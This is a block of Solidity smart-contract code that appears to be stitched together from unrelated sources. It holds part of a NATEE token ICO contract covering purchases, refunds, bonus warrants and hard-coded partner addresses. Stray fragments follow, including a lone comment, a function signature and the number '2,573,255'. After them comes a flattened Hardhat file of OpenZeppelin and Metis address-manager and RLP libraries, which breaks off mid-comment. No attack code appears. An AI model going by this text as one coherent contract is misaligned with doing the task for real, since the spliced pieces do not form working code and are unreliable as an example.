function getCommission(address addr) public view returns(uint256){ require(referToID[addr] > 0); return referals[referToID[addr] - 1].allCommission; } } // ICO Contract // 1. Set allocated tokens for sales during pre-sales, prices the duration for pre-sales is 270 days // 2. Set allocated tokens for sales during public-sales, prices and the duration for public-sales is 90 days. // 3. The entire duration pre-sales / public sales is no more than 270 days (9 months). // 4. If the ICO fails to reach Soft Cap, the investors can request for refund by using SGDS and the company will give back into ETH (the exchange rate and ETH price depends on the market) // 5. There are 2 addresses which will get 1% of fund raised and 5% but not more then 200,000 SGDS . These two addresses helped us in shaping up Business Model and Smart Contract. contract ICO_Token is Marketing{ uint256 PRE_ICO_ROUND = 20000000 ; uint256 ICO_ROUND = 40000000 ; uint256 TOKEN_PRICE = 50; // 0.5 SGDS PER TOKEN bool startICO; //default = false; bool icoPass; bool hardCap; bool public pauseICO; uint32 public icoEndTime; uint32 icoPauseTime; uint32 icoStartTime; uint256 totalSell; uint256 MIN_PRE_ICO_ROUND = 400 ; uint256 MIN_ICO_ROUND = 400 ; uint256 MAX_ICO_ROUND = 1000000 ; uint256 SOFT_CAP = 10000000 ; uint256 _1Token = 1 ether; SGDSInterface public sgds; NateeWarrantInterface public warrant; mapping (address => uint256) totalBuyICO; mapping (address => uint256) redeemed; mapping (address => uint256) redeemPercent; mapping (address => uint256) redeemMax; event StartICO(address indexed admin, uint32 startTime,uint32 endTime); event PassSoftCap(uint32 passTime); event BuyICO(address indexed addr_,uint256 value); event BonusWarrant(address indexed,uint256 startRank,uint256 stopRank,uint256 warrantGot); event RedeemCommision(address indexed, uint256 sgdsValue,uint256 curCom); event Refund(address indexed,uint256 sgds,uint256 totalBuy); constructor() public { //sgds = //warrant = pauseICO = false; icoEndTime = uint32(now + 365 days); } function pauseSellICO() onlyOwners external{ require(startICO == true); require(pauseICO == false); icoPauseTime = uint32(now); pauseICO = true; } // NEW FUNCTION function resumeSellICO() onlyOwners external{ require(pauseICO == true); pauseICO = false; // Add Time That PAUSE BUT NOT MORE THEN 2 YEAR uint32 pauseTime = uint32(now) - icoPauseTime; uint32 maxSellTime = icoStartTime + 730 days; icoEndTime += pauseTime; if(icoEndTime > maxSellTime) icoEndTime = maxSellTime; pauseICO = false; } // Function to kicks start the ICO, Auto triggered as soon as the first // NATEE TOKEN transfer committed. function startSellICO() internal returns(bool){ require(startICO == false); // IF Start Already it can't call again icoStartTime = uint32(now); icoEndTime = uint32(now + 270 days); // ICO 9 month startICO = true; emit StartICO(msg.sender,icoStartTime,icoEndTime); return true; } // this function will be executed automatically as soon as Soft Cap reached. By limited additional 90 days // for public-sales in the total remain days is more than 90 days (the entire ICO takes no more than 270 days). // For example, if the pre-sales takes 200 days, the public sales duration will be 70 days (270-200). // Starting from the date that // Soft Cap reached // if the pre-sales takes 150 days, the public sales duration will be 90 days starting from the date that // Soft Cap reached function passSoftCap() internal returns(bool){ icoPass = true; // after pass softcap will continue sell 90 days if(icoEndTime - uint32(now) > 90 days) { icoEndTime = uint32(now) + 90 days; } emit PassSoftCap(uint32(now)); } // function to refund, this is used when fails to reach Soft CAP and the ICO takes more than 270 days. // if Soft Cap reached, no refund function refund() public{ require(icoPass == false); uint32 maxSellTime = icoStartTime + 730 days; if(pauseICO == true) { if(uint32(now) <= maxSellTime) { return; } } if(uint32(now) >= icoEndTime) { if(totalBuyICO[msg.sender] > 0) { uint256 totalSGDS = totalBuyICO[msg.sender] * TOKEN_PRICE; uint256 totalNatee = totalBuyICO[msg.sender] * _1Token; require(totalNatee == balance[msg.sender]); emit Refund(msg.sender,totalSGDS,totalBuyICO[msg.sender]); totalBuyICO[msg.sender] = 0; sgds.transfer(msg.sender,totalSGDS); } } } // This function is to allow the owner of Wallet Address to set the value (Boolean) to grant/not grant the permission to himself/herself. // This clearly shows that no one else could set the value to the anyone’s Wallet Address, only msg.sender or the executor of this // function can set the value in this function. function userSetAllowControl(bool allow) public{ require(closeICO == true); allowControl[msg.sender] = allow; } // function to calculate the bonus. The bonus will be paid in Warrant according to listed in Bounty section in NATEE Whitepaper function bonusWarrant(address _addr,uint256 buyToken) internal{ // 1-4M GOT 50% // 4,000,0001 - 12M GOT 40% // 12,000,0001 - 20M GOT 30% // 20,000,0001 - 30M GOT 20% // 30,000,0001 - 40M GOT 10% uint256 gotWarrant; //======= PRE ICO ROUND ============= if(totalSell <= 4000000) gotWarrant = buyToken / 2; // Got 50% else if(totalSell >= 4000001 && totalSell <= 12000000) { if(totalSell - buyToken < 4000000) // It mean between pre bonus and this bonus { gotWarrant = (4000000 - (totalSell - buyToken)) / 2; gotWarrant += (totalSell - 4000000) * 40 / 100; } else { gotWarrant = buyToken * 40 / 100; } } else if(totalSell >= 12000001 && totalSell <= 20000000) { if(totalSell - buyToken < 4000000) { gotWarrant = (4000000 - (totalSell - buyToken)) / 2; gotWarrant += 2400000; //8000000 * 40 / 100; fix got 2.4 M Token gotWarrant += (totalSell - 12000000) * 30 / 100; } else if(totalSell - buyToken < 12000000 ) { gotWarrant = (12000000 - (totalSell - buyToken)) * 40 / 100; gotWarrant += (totalSell - 12000000) * 30 / 100; } else { gotWarrant = buyToken * 30 / 100; } } else if(totalSell >= 20000001 && totalSell <= 30000000) // public ROUND { gotWarrant = buyToken / 5; // 20% } else if(totalSell >= 30000001 && totalSell <= 40000000) { if(totalSell - buyToken < 30000000) { gotWarrant = (30000000 - (totalSell - buyToken)) / 5; gotWarrant += (totalSell - 30000000) / 10; } else { gotWarrant = buyToken / 10; // 10% } } else if(totalSell >= 40000001) { if(totalSell - buyToken < 40000000) { gotWarrant = (40000000 - (totalSell - buyToken)) / 10; } else gotWarrant = 0; } //==================================== if(gotWarrant > 0) { gotWarrant = gotWarrant * _1Token; warrant.sendWarrant(_addr,gotWarrant); emit BonusWarrant(_addr,totalSell - buyToken,totalSell,gotWarrant); } } // NATEE Token can only be purchased by using SGDS // function to purchase NATEE token, if the purchase transaction committed, the address will be controlled. // The address wont be able to make any transfer function buyNateeToken(address _addr, uint256 value,bool refer) onlyOwners external returns(bool){ require(closeICO == false); require(pauseICO == false); require(uint32(now) <= icoEndTime); require(value % 2 == 0); // if(startICO == false) startSellICO(); uint256 sgdWant; uint256 buyToken = value; if(totalSell < PRE_ICO_ROUND) // Still in PRE ICO ROUND { require(buyToken >= MIN_PRE_ICO_ROUND); if(buyToken > PRE_ICO_ROUND - totalSell) buyToken = uint256(PRE_ICO_ROUND - totalSell); } else if(totalSell < PRE_ICO_ROUND + ICO_ROUND) { require(buyToken >= MIN_ICO_ROUND); if(buyToken > MAX_ICO_ROUND) buyToken = MAX_ICO_ROUND; if(buyToken > (PRE_ICO_ROUND + ICO_ROUND) - totalSell) buyToken = (PRE_ICO_ROUND + ICO_ROUND) - totalSell; } sgdWant = buyToken * TOKEN_PRICE; require(sgds.balanceOf(_addr) >= sgdWant); sgds.intTransfer(_addr,address(this),sgdWant); // All SGSD Will Transfer to this account emit BuyICO(_addr, buyToken * _1Token); balance[_addr] += buyToken * _1Token; totalBuyICO[_addr] += buyToken; //------------------------------------- // Add TotalSupply HERE totalSupply_ += buyToken * _1Token; //------------------------------------- totalSell += buyToken; if(totalBuyICO[_addr] >= 8000 && referToID[_addr] == 0) addReferal(_addr,1,0); bonusWarrant(_addr,buyToken); if(totalSell >= SOFT_CAP && icoPass == false) passSoftCap(); // mean just pass softcap if(totalSell >= PRE_ICO_ROUND + ICO_ROUND && hardCap == false) { hardCap = true; setCloseICO(); } setAllowControl(_addr); addHolder(_addr); if(refer == true) addCommission(_addr,buyToken); emit Transfer(address(this),_addr, buyToken * _1Token); return true; } // function to withdraw the earned commission. This depends on type of referral code you holding. // If Soft Cap pass is required, you will earn SGDS and withdraw the commission to be paid in ETH function redeemCommision(address addr,uint256 value) public{ require(referToID[addr] > 0); uint256 idx = referToID[addr] - 1; uint256 refType = uint256(referals[idx].refType); if(refType == 1 || refType == 2 || refType == 3) require(icoPass == true); require(value > 0); require(value <= referals[idx].allCommission - referals[idx].redeemCom); // TRANSFER SGDS TO address referals[idx].redeemCom += value; sgds.transfer(addr,value); emit RedeemCommision(addr,value,referals[idx].allCommission - referals[idx].redeemCom); } // check how many tokens sold. This to display on official natee.io website. function getTotalSell() external view returns(uint256){ return totalSell; } // check how many token purchased from the given address. function getTotalBuyICO(address _addr) external view returns(uint256){ return totalBuyICO[_addr]; } // VALUE IN SGDS // Function for AGC and ICZ REDEEM SHARING // 100 % = 10000 function addCOPartner(address addr,uint256 percent,uint256 maxFund) onlyOwners public { require(redeemPercent[addr] == 0); redeemPercent[addr] = percent; redeemMax[addr] = maxFund; } function redeemFund(address addr,uint256 value) public { require(icoPass == true); require(redeemPercent[addr] > 0); uint256 maxRedeem; maxRedeem = (totalSell * TOKEN_PRICE) * redeemPercent[addr] / 10000; if(maxRedeem > redeemMax[addr]) maxRedeem = redeemMax[addr]; require(redeemed[addr] + value <= maxRedeem); sgds.transfer(addr,value); redeemed[addr] += value; } function checkRedeemFund(address addr) public view returns (uint256) { uint256 maxRedeem; maxRedeem = (totalSell * TOKEN_PRICE) * redeemPercent[addr] / 10000; if(maxRedeem > redeemMax[addr]) maxRedeem = redeemMax[addr]; return maxRedeem - redeemed[addr]; } // Function to close the ICO, this function will transfer the token to founders and advisors function setCloseICO() public { require(closeICO == false); require(startICO == true); require(icoPass == true); if(hardCap == false){ require(uint32(now) >= icoEndTime); } uint256 lessAdvisor; uint256 maxAdvisor; uint256 maxFounder; uint256 i; closeICO = true; // Count Max Advisor maxAdvisor = 0; for(i=0;i<advisors.length;i++) { if(advisors[i] != address(0)) maxAdvisor++; } maxFounder = 0; for(i=0;i<founders.length;i++) { if(founders[i] != address(0)) maxFounder++; } TOKEN_PER_ADVISOR = ADVISOR_SUPPLY / maxAdvisor; // Maximum 200,000 Per Advisor or less if(TOKEN_PER_ADVISOR > 200000 ether) { TOKEN_PER_ADVISOR = 200000 ether; } lessAdvisor = ADVISOR_SUPPLY - (TOKEN_PER_ADVISOR * maxAdvisor); // less from Advisor will pay to Founder TOKEN_PER_FOUNDER = (FOUNDER_SUPPLY + lessAdvisor) / maxFounder; emit CloseICO(); // Start Send Token to Found and Advisor for(i=0;i<advisors.length;i++) { if(advisors[i] != address(0)) { balance[advisors[i]] += TOKEN_PER_ADVISOR; totalSupply_ += TOKEN_PER_ADVISOR; lockAddress(advisors[i]); // THIS ADDRESS WILL LOCK FOR 2 YEAR CAN'T TRANSFER addHolder(advisors[i]); setAllowControl(advisors[i]); emit Transfer(address(this), advisors[i], TOKEN_PER_ADVISOR); emit RedeemAdvisor(advisors[i],TOKEN_PER_ADVISOR); } } for(i=0;i<founders.length;i++) { if(founders[i] != address(0)) { balance[founders[i]] += TOKEN_PER_FOUNDER; totalSupply_ += TOKEN_PER_FOUNDER; lockAddress(founders[i]); addHolder(founders[i]); setAllowControl(founders[i]); emit Transfer(address(this),founders[i],TOKEN_PER_FOUNDER); emit RedeemFounder(founders[i],TOKEN_PER_FOUNDER); } } } } // main Conttract of NATEE Token, total token is 100 millions and there is no burn token function. // The token will be auto generated from this function every time after the payment is confirmed // from the buyer. In short, NATEE token will only be issued, based on the payment. // There will be no NATEE Token issued in advance. There is no NATEE Token inventory, no stocking,hence, // there is no need to have the burning function to burn the token/coin in this Smart Contract unlike others ICOs. contract NATEE is ICO_Token { using SafeMath256 for uint256; string public name = "NATEE"; string public symbol = "NATEE"; // Real Name NATEE uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 100000000 ether; NateePrivate public nateePrivate; bool privateRedeem; uint256 public nateeWExcRate = 100; // SGDS Price uint256 public nateeWExcRateExp = 100; //SGDS Price address public AGC_ADDR; address public RM_PRIVATE_INVESTOR_ADDR; address public ICZ_ADDR; address public SEITEE_INTERNAL_USE; event RedeemNatee(address indexed _addr, uint256 _private,uint256 _gotNatee); event RedeemWarrat(address indexed _addr,address _warrant,string symbole,uint256 value); constructor() public { AGC_ADDR = 0xdd25648927291130CBE3f3716A7408182F28b80a; // 1% payment to strategic partne addCOPartner(AGC_ADDR,100,30000000); RM_PRIVATE_INVESTOR_ADDR = 0x32F359dE611CFe8f8974606633d8bDCBb33D91CB; //ICZ is the ICO portal who provides ERC20 solutions and audit NATEE IC ICZ_ADDR = 0x1F10C47A07BAc12eDe10270bCe1471bcfCEd4Baf; // 5% payment to ICZ capped at 200k SGD addCOPartner(ICZ_ADDR,500,20000000); // 20M Internal use to send to NATEE SDK USER SEITEE_INTERNAL_USE = 0x1219058023bE74FA30C663c4aE135E75019464b4; balance[RM_PRIVATE_INVESTOR_ADDR] = 3000000 ether; totalSupply_ += 3000000 ether; lockAddress(RM_PRIVATE_INVESTOR_ADDR); setAllowControl(RM_PRIVATE_INVESTOR_ADDR); addHolder(RM_PRIVATE_INVESTOR_ADDR); emit Transfer(address(this),RM_PRIVATE_INVESTOR_ADDR,3000000 ether); balance[SEITEE_INTERNAL_USE] = 20000000 ether; totalSupply_ += 20000000 ether; setAllowControl(SEITEE_INTERNAL_USE); addHolder(SEITEE_INTERNAL_USE); emit Transfer(address(this),SEITEE_INTERNAL_USE,20000000 ether); sgds = SGDSInterface(0xf7EfaF88B380469084f3018271A49fF743899C89); warrant = NateeWarrantInterface(0x7F28D94D8dc94809a3f13e6a6e9d56ad0B6708fe); nateePrivate = NateePrivate(0x67A9d6d1521E02eCfb4a4C110C673e2c027ec102); } // SET SGDS Contract Address function setSGDSContractAddress(address _addr) onlyOwners external { sgds = SGDSInterface(_addr); } function setNateePrivate(address _addr) onlyOwners external { nateePrivate = NateePrivate(_addr); } function setNateeWarrant(address _addr) onlyOwners external { warrant = NateeWarrantInterface(_addr); } function changeWarrantPrice(uint256 normalPrice,uint256 expPrice) onlyOwners external{ if(uint32(now) < warrant.expireDate()) { nateeWExcRate = normalPrice; nateeWExcRateExp = expPrice; } } // function to convert Warrant to NATEE Token, the Warrant holders must have SGDS paid for the conversion fee. function redeemWarrant(address addr,uint256 value) public returns(bool){ require(owners[msg.sender] == true || addr == msg.sender); require(closeICO == true); require(sgds.getUserControl(addr) == false); uint256 sgdsPerToken; uint256 totalSGDSUse; uint256 wRedeem; uint256 nateeGot; require(warrant.getUserControl(addr) == false); if( uint32(now) <= warrant.expireDate()) sgdsPerToken = nateeWExcRate; else sgdsPerToken = nateeWExcRateExp; wRedeem = value / _1Token; require(wRedeem > 0); totalSGDSUse = wRedeem * sgdsPerToken; //check enought SGDS to redeem warrant; require(sgds.balanceOf(addr) >= totalSGDSUse); // Start Redeem Warrant; if(sgds.useSGDS(addr,totalSGDSUse) == true) { nateeGot = wRedeem * _1Token; warrant.redeemWarrant(addr,nateeGot); // duduct Warrant; balance[addr] += nateeGot; // ================================= // TOTAL SUPPLY INCREATE //================================== totalSupply_ += nateeGot; //================================== addHolder(addr); emit Transfer(address(this),addr,nateeGot); emit RedeemWarrat(addr,address(warrant),"NATEE-W1",nateeGot); } return true; } // function to distribute NATEE PRIVATE TOKEN to early investors (from private-sales) function reddemAllPrivate() onlyOwners public returns(bool){ require(privateRedeem == false); uint256 maxHolder = nateePrivate.getMaxHolder(); address tempAddr; uint256 priToken; uint256 nateeGot; uint256 i; for(i=0;i<maxHolder;i++) { tempAddr = nateePrivate.getAddressByID(i); priToken = nateePrivate.balancePrivate(tempAddr); if(priToken > 0) { nateeGot = priToken * 8; nateePrivate.redeemToken(tempAddr,priToken); balance[tempAddr] += nateeGot; totalSupply_ += nateeGot; privateBalance[tempAddr] += nateeGot; allowControl[tempAddr] = true; addHolder(tempAddr); emit Transfer( address(this), tempAddr, nateeGot); emit RedeemNatee(tempAddr,priToken,nateeGot); } } privateRedeem = true; } }
if true mean user can control by him. false mean Company can control
function getUserControl(address _addr) external view returns(bool);
2,573,255
// Sources flattened with hardhat v2.6.1 https://hardhat.org // File @openzeppelin/contracts/utils/Context.sol@v4.3.2 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.3.2 // MIT pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.3.2 // MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/MVM/iMVM_DiscountOracle.sol // MIT pragma solidity ^0.8.9; interface iMVM_DiscountOracle{ function setDiscount( uint256 _discount ) external; function setMinL2Gas( uint256 _minL2Gas ) external; function setWhitelistedXDomainSender( address _sender, bool _isWhitelisted ) external; function isXDomainSenderAllowed( address _sender ) view external returns(bool); function setAllowAllXDomainSenders( bool _allowAllXDomainSenders ) external; function getMinL2Gas() view external returns(uint256); function getDiscount() view external returns(uint256); function processL2SeqGas(address sender, uint256 _chainId) external payable; } // File contracts/libraries/resolver/Lib_AddressManager.sol // MIT pragma solidity ^0.8.9; /* External Imports */ /** * @title Lib_AddressManager */ contract Lib_AddressManager is Ownable { /********** * Events * **********/ event AddressSet(string indexed _name, address _newAddress, address _oldAddress); /************* * Variables * *************/ mapping(bytes32 => address) private addresses; /******************** * Public Functions * ********************/ /** * Changes the address associated with a particular name. * @param _name String name to associate an address with. * @param _address Address to associate with the name. */ function setAddress(string memory _name, address _address) external onlyOwner { bytes32 nameHash = _getNameHash(_name); address oldAddress = addresses[nameHash]; addresses[nameHash] = _address; emit AddressSet(_name, _address, oldAddress); } /** * Retrieves the address associated with a given name. * @param _name Name to retrieve an address for. * @return Address associated with the given name. */ function getAddress(string memory _name) external view returns (address) { return addresses[_getNameHash(_name)]; } /********************** * Internal Functions * **********************/ /** * Computes the hash of a name. * @param _name Name to compute a hash for. * @return Hash of the given name. */ function _getNameHash(string memory _name) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_name)); } } // File contracts/libraries/resolver/Lib_AddressResolver.sol // MIT pragma solidity ^0.8.9; /* Library Imports */ /** * @title Lib_AddressResolver */ abstract contract Lib_AddressResolver { /************* * Variables * *************/ Lib_AddressManager public libAddressManager; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Lib_AddressManager. */ constructor(address _libAddressManager) { libAddressManager = Lib_AddressManager(_libAddressManager); } /******************** * Public Functions * ********************/ /** * Resolves the address associated with a given name. * @param _name Name to resolve an address for. * @return Address associated with the given name. */ function resolve(string memory _name) public view returns (address) { return libAddressManager.getAddress(_name); } } // File contracts/libraries/rlp/Lib_RLPReader.sol // MIT pragma solidity ^0.8.9; /** * @title Lib_RLPReader * @dev Adapted from "RLPReader" by Hamdi Allam (hamdi.allam97@gmail.com). */ library Lib_RLPReader { /************* * Constants * *************/ uint256 internal constant MAX_LIST_LENGTH = 32; /********* * Enums * *********/ enum RLPItemType { DATA_ITEM, LIST_ITEM } /*********** * Structs * ***********/ struct RLPItem { uint256 length; uint256 ptr; } /********************** * Internal Functions * **********************/ /** * Converts bytes to a reference to memory position and length. * @param _in Input bytes to convert. * @return Output memory reference. */ function toRLPItem(bytes memory _in) internal pure returns (RLPItem memory) { uint256 ptr; assembly { ptr := add(_in, 32) } return RLPItem({ length: _in.length, ptr: ptr }); } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList(RLPItem memory _in) internal pure returns (RLPItem[] memory) { (uint256 listOffset, , RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value."); // Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by // writing to the length. Since we can't know the number of RLP items without looping over // the entire input, we'd have to loop twice to accurately size this array. It's easier to // simply set a reasonable maximum list length and decrease the size before we finish. RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH); uint256 itemCount = 0; uint256 offset = listOffset; while (offset < _in.length) { require(itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length."); (uint256 itemOffset, uint256 itemLength, ) = _decodeLength( RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset }) ); out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset }); itemCount += 1; offset += itemOffset + itemLength; } // Decrease the array size to match the actual item count. assembly { mstore(out, itemCount) } return out; } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList(bytes memory _in) internal pure returns (RLPItem[] memory) { return readList(toRLPItem(_in)); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes(RLPItem memory _in) internal pure returns (bytes memory) { (uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value."); return _copy(_in.ptr, itemOffset, itemLength); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes(bytes memory _in) internal pure returns (bytes memory) { return readBytes(toRLPItem(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString(RLPItem memory _in) internal pure returns (string memory) { return string(readBytes(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString(bytes memory _in) internal pure returns (string memory) { return readString(toRLPItem(_in)); } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32(RLPItem memory _in) internal pure returns (bytes32) { require(_in.length <= 33, "Invalid RLP bytes32 value."); (uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value."); uint256 ptr = _in.ptr + itemOffset; bytes32 out; assembly { out := mload(ptr) // Shift the bytes over to match the item size. if lt(itemLength, 32) { out := div(out, exp(256, sub(32, itemLength))) } } return out; } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32(bytes memory _in) internal pure returns (bytes32) { return readBytes32(toRLPItem(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256(RLPItem memory _in) internal pure returns (uint256) { return uint256(readBytes32(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256(bytes memory _in) internal pure returns (uint256) { return readUint256(toRLPItem(_in)); } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool(RLPItem memory _in) internal pure returns (bool) { require(_in.length == 1, "Invalid RLP boolean value."); uint256 ptr = _in.ptr; uint256 out; assembly { out := byte(0, mload(ptr)) } require(out == 0 || out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1"); return out != 0; } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool(bytes memory _in) internal pure returns (bool) { return readBool(toRLPItem(_in)); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress(RLPItem memory _in) internal pure returns (address) { if (_in.length == 1) { return address(0); } require(_in.length == 21, "Invalid RLP address value."); return address(uint160(readUint256(_in))); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress(bytes memory _in) internal pure returns (address) { return readAddress(toRLPItem(_in)); } /** * Reads the raw bytes of an RLP item. * @param _in RLP item to read. * @return Raw RLP bytes. */ function readRawBytes(RLPItem memory _in) internal pure returns (bytes memory) { return _copy(_in); } /********************* * Private Functions * *********************/ /** * Decodes the length of an RLP item. * @param _in RLP item to decode. * @return Offset of the encoded data. * @return Length of the encoded data. * @return RLP item type (LIST_ITEM or DATA_ITEM). */ function _decodeLength(RLPItem memory _in) private pure returns ( uint256, uint256, RLPItemType ) { require(_in.length > 0, "RLP item cannot be null."); uint256 ptr = _in.ptr; uint256 prefix; assembly { prefix := byte(0, mload(ptr)) } if (prefix <= 0x7f) { // Single byte. return (0, 1, RLPItemType.DATA_ITEM); } else if (prefix <= 0xb7) { // Short string. uint256 strLen = prefix - 0x80; require(_in.length > strLen, "Invalid RLP short string."); return (1, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xbf) { // Long string. uint256 lenOfStrLen = prefix - 0xb7; require(_in.length > lenOfStrLen, "Invalid RLP long string length."); uint256 strLen; assembly { // Pick out the string length. strLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen))) } require(_in.length > lenOfStrLen + strLen, "Invalid RLP long string."); return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xf7) { // Short list. uint256 listLen = prefix - 0xc0; require(_in.length > listLen, "Invalid RLP short list."); return (1, listLen, RLPItemType.LIST_ITEM); } else { // Long list. uint256 lenOfListLen = prefix - 0xf7; require(_in.length > lenOfListLen, "Invalid RLP long list length."); uint256 listLen; assembly { // Pick out the list length. listLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen))) } require(_in.length > lenOfListLen + listLen, "Invalid RLP long list."); return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM); } } /** * Copies the bytes from a memory location. * @param _src Pointer to the location to read from. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return Copied bytes. */ function _copy( uint256 _src, uint256 _offset, uint256 _length ) private pure returns (bytes memory) { bytes memory out = new bytes(_length); if (out.length == 0) { return out; } uint256 src = _src + _offset; uint256 dest; assembly { dest := add(out, 32) } // Copy over as many complete words as we can. for (uint256 i = 0; i < _length / 32; i++) { assembly { mstore(dest, mload(src)) } src += 32; dest += 32; } // Pick out the remaining bytes. uint256 mask; unchecked { mask = 256**(32 - (_length % 32)) - 1; } assembly { mstore(dest, or(and(mload(src), not(mask)), and(mload(dest), mask))) } return out; } /** * Copies an RLP item into bytes. * @param _in RLP item to copy. * @return Copied bytes. */ function _copy(RLPItem memory _in) private pure returns (bytes memory) { return _copy(_in.ptr, 0, _in.length); } } // File contracts/libraries/rlp/Lib_RLPWriter.sol // MIT pragma solidity ^0.8.9; /** * @title Lib_RLPWriter * @author Bakaoh (with modifications) */ library Lib_RLPWriter { /********************** * Internal Functions * **********************/ /** * RLP encodes a byte string. * @param _in The byte string to encode. * @return The RLP encoded string in bytes. */ function writeBytes(bytes memory _in) internal pure returns (bytes memory) { bytes memory encoded; if (_in.length == 1 && uint8(_in[0]) < 128) { encoded = _in; } else { encoded = abi.encodePacked(_writeLength(_in.length, 128), _in); } return encoded; } /** * RLP encodes a list of RLP encoded byte byte strings. * @param _in The list of RLP encoded byte strings. * @return The RLP encoded list of items in bytes. */ function writeList(bytes[] memory _in) internal pure returns (bytes memory) { bytes memory list = _flatten(_in); return abi.encodePacked(_writeLength(list.length, 192), list); } /** * RLP encodes 